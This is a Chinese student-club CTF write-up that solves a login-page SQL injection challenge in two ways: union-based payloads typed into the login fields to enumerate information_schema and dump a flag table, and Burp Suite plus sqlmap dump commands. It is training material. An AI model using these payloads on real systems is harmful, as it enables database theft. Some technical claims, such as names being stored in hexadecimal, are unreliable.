SQL1

时间:2021-05-03 17:56:31

这是社团的题目,我现在就写出来吧,总共两种方法,一种手注,一种用工具(sqlmap).

一、手注(盲注)

1,我们打开题目,可以看到一个登陆页面,这是我们在输入框里面输入万能密码:  ' and '1'='      ,然后我们在密码框输入   ' and '1'='1' union select 1,group_concat(schema_name),3 from information_schema.schemata#   ,

SQL1

这里上面的输入框是and,是为了让上面的报错,下面的输入框是and,是为了union后面的语句成功执行。这里我们是先爆出来数据库,可以看到如图所示的源码(这里看源码的时候千万不要点确认,要用Ctrl+u来看)。

SQL1

SQL1

2,这时我们爆出了数据库,下面我们爆表,我们在上面的输入框输入   ' and '1'='1   ,在下面输入' and '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# ,"database()表示当前的数据库"

SQL1

3,爆出来了表,看到flag,是不是很激动,嘿嘿,接下来我们爆字段,

上面的输入框输入' and '1'='1    ,下面的输入框输入' and '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666C6167#   ,这里的  0x666C6167  是flag的十六进制编码,因为在数据库里面,数据库和表和字段都是以十六进制储存的。

SQL1

4,上面的输入框输入' and '1'='1   ,下面的输入框输入 ' and '1'='1' union select 1,group_concat(id,0x7e,flag),3 from flag# ,这里我们就可以看到flag了。

SQL1

5,现在是不是感觉很简单啊,至此我的工作完成,你们的工作还得继续。任重而道远!

二、工具(sqlmap)

1,打开登录页面,在输入框里面里面随便输入数字,然后抓包(这里用burp suite抓包,没有这个工具的可以找我)得到数据,如下面的图所示。

SQL1

2,把图中的数据复制下来,在sqlmap目录下面新建一个1.txt,文件,把复制的数据放1.txt文件里面,

然后打开sqlmap,输入sqlmap.py -r 1.txt --dbs   ,如下图所示

SQL1

3,得到下面数据。

SQL1

4,得到库,接下来输入 sqlmap.py -r 1.txt -D web --tables   ,这里也可以输入sqlmap.py -r 1.txt --tables -D web,结果都是一样的,

----爆表----。

SQL1

5,得到表,下面爆字段,输入sqlmap.py -r 1.txt -D web -table flag --columns或者sqlmap.py -r 1.txt --columns -table flag -D web

SQL1 SQL1

6,下面就爆内容了,输入sqlmap.py -r 1.txt -D web -T flag -C flag --dump  或者输入sqlmap.py -r 1.txt  --dump -D web -T flag -C flag    结果如图所示

SQL1

7,在你们joker学长的帮助下(到用的他的图),终于完成了。(注:上面那些表,可以不用双引号的)。

相关文章